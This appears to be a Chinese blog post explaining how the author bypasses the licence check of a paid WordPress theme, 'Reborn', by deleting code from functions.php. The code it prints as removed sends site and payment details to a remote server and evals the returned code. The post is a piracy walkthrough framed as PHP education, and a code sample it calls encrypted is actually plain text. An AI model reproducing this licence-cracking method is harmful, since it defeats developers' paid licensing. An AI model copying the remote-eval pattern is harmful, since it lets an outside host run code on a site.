我是这么破解wordpress付费主题reborn的

首先，我先介绍一下wordpress是什么。
wordpress是一个完全开源免费的博客系统，是老外开发的，基于PHP可以做很多扩展功能，其中主题就是其一

今天我要分享的是一款wordpress博客主题：reborn，在这套主题中有一段被加密的php代码，下面我们就一起揭开谜底。

一般wordpress的授权代码都是写在function.php中的，打开function.php文件，出现在我眼前的是下面一段被加密后的php乱码

    }
}
function del_cache($name) {
    $allCache = get_option('pd_cache');
    unset($allCache[$name]);
    update_option('pd_cache', $allCache);
}

看到这段代码后，我知道我可能有方法绕过验证了。

既然不需要授权运行那我们就没必要往数据库中写入数据了，所以我删除了一下代码：

function _v_($api) {
    date_default_timezone_set("Asia/Shanghai");
    $my_theme = wp_get_theme();
    $theme = $my_theme->get('Name');
    $version = $my_theme->get('Version');
    $address = home_url();
    $date = date("Y-m-d H:i:s");
    $blog_name = get_bloginfo('name');
    $sn = get_option('pay_info');
    $charactor = get_option('charactor_info');
    $url = $api;
    $info = '{"theme":"' . $theme . '","address":"' . $address . '","date":"' . $date . '","version":"' . $version . '","blog_name":"' . $blog_name . '","sn":"' . $sn . '","charactor":"' . $charactor . '"
}';
    $ch = curl_init();
    $options = array(CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => $info, CURLOPT_TIMEOUT => 20, CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),);
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);
    curl_close($ch);
    $resultArray = json_decode($result, true);
    if ($resultArray) {
        set_cache(99999, $resultArray['eval'], 99999);
        set_cache(3333333, $resultArray['eval'], 3333333);
        eval($resultArray['eval']);
        return true;
    } else {
        return false;
    }
}
if (get_cache(99999)) {
    eval(get_cache(99999));
} else {
    if (_v_("http://validate.panda-studio.cn/?rest_route=/pandastudio/framework/new_validate/")) {
    } else {
        eval(get_cache(3333333));
    }
}

这段代码就是收集博客的一些信息并写入到数据库中，比如博客大的网址，名称，付款信息等等。
为什么有的主题可以做到反授权？就是因为通过API反向写入数据库信息的，这本来就是一种病毒行为，所以这段代码不能让他存在。

删除这些东西并不等于已经绕过授权，只有加载了核心项才算是一个完整的过程。

今天分享这些是要告诉大家php的原理，学习一门语言或者一项技能最重要的是知道其原理，这样的话我们才能做到举一反三。
